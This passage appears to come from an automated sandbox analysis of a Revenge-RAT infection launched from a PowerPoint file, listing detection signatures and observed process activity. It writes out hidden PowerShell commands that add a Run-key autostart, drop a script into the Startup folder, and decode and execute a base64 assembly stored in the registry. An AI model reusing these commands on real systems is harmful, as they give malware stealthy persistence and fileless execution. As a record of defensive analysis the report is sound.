Source: Binary string: E:\N A P O L E O N\My Projects\Revenge-RAT\Revenge-RAT v.0.3\Revenge-RAT v.0.3\Plugins\UNI\UNI\obj\Debug\UNI.pdb source: powershell.exe, 0000000E.00000002.432730170.0000000002856000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002866000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.434619199.000000001A670000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000E.00000002.432730170.0000000002844000.00000004.00000800.00020000.00000000.sdmp
Source: ~DFBE9ABBD2E604BAEC.TMP.4.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js'));wscript 'C:\Users\user\AppData\Roaming\RG.js'" Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\user\AppData\Roaming\RG.js' -PropertyType String -Force;"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\RG.js',[System.IO.File]::ReadAllText('C:\Users\user\AppData\Roaming\RG.js'))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE8A1223DF push eax; retf 12_2_000007FE8A122411
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_000007FE8A12022D push eax; iretd 12_2_000007FE8A120241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A1223DF push eax; retf 14_2_000007FE8A122411
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_000007FE8A12022D push eax; iretd 14_2_000007FE8A120241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_000007FE8A102B67 pushad ; ret 32_2_000007FE8A102B71
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_000007FE8A1023ED pushad ; retf 32_2_000007FE8A102421
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 32_2_000007FE8A10022D push eax; iretd 32_2_000007FE8A100241

Boot Survival
barindex
Creates autostart registry keys with suspicious values (likely registry only malware)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cocacola C:\Users\user\AppData\Roaming\RG.js Jump to behavior
Drops script or batch files to the startup folder
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RG.js Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cocacola Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cocacola Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
